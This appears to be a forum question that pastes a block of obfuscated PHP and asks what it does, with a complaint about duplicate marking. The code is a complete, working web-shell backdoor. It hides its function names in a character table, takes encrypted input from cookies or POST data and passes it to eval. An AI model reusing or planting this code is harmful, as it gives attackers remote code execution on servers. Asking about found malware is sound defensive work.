$llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd';
$spvgazs = Array();
$spvgazs[] = $llkas[10].$llkas[15];
$spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$llkas[5].$llkas[19].$llkas[0].$llkas[25].$llkas[20].$llkas[14].$llkas[16].$llkas[0].$llkas[31].$llkas[24].$llkas[24].$llkas[16].$llkas[0].$llkas[19].$llkas[24].$llkas[21].$llkas[32].$llkas[0].$llkas[28].$llkas[24].$llkas[24].$llkas[21].$llkas[7].$llkas[17].$llkas[27].$llkas[27].$llkas[28].$llkas[28].$llkas[31].$llkas[35];
$spvgazs[] = $llkas[3];
$spvgazs[] = $llkas[20].$llkas[4].$llkas[13].$llkas[9].$llkas[1];
$spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[12].$llkas[11].$llkas[14].$llkas[30].$llkas[14].$llkas[27].$llkas[1];
$spvgazs[] = $llkas[14].$llkas[23].$llkas[30].$llkas[2].$llkas[4].$llkas[35].$llkas[14];
$spvgazs[] = $llkas[6].$llkas[13].$llkas[17].$llkas[6].$llkas[1].$llkas[11];
$spvgazs[] = $llkas[27].$llkas[11].$llkas[11].$llkas[27].$llkas[26].$llkas[12].$llkas[22].$llkas[14].$llkas[11].$llkas[34].$llkas[14];
$spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[2].$llkas[14].$llkas[9];
$spvgazs[] = $llkas[30].$llkas[27].$llkas[20].$llkas[33];
foreach ($spvgazs[7]( $_COOKIE, $_POST ) as $pxajrr => $aesghqe ){
function lscwszf($spvgazs, $pxajrr, $hgfxl){
return $spvgazs[6]($spvgazs[4]($pxajrr . $spvgazs[1], ($hgfxl / $spvgazs[8]($pxajrr)) + 1), 0, $hgfxl);
}
function rrxhm($spvgazs, $aaoyvhu){
return @$spvgazs[9]($spvgazs[0], $aaoyvhu);
}
function hccqcjz($spvgazs, $aaoyvhu){$bgukyrk = $spvgazs[3]($aaoyvhu) % 3;
if (!$bgukyrk) {eval($aaoyvhu[1]($aaoyvhu[2]));
exit();
}
}
$aesghqe = rrxhm($spvgazs, $aesghqe);
hccqcjz($spvgazs, $spvgazs[5]($spvgazs[2], $aesghqe ^ lscwszf($spvgazs, $pxajrr, $spvgazs[8]($aesghqe))));
}
it is not a duplicate question of How do I de-obfuscate the code? i wanted someone to explain me what this code does? and ones who keeps marking this as duplicate shud first read the answers there, that doesnt explain anything what i want as answer.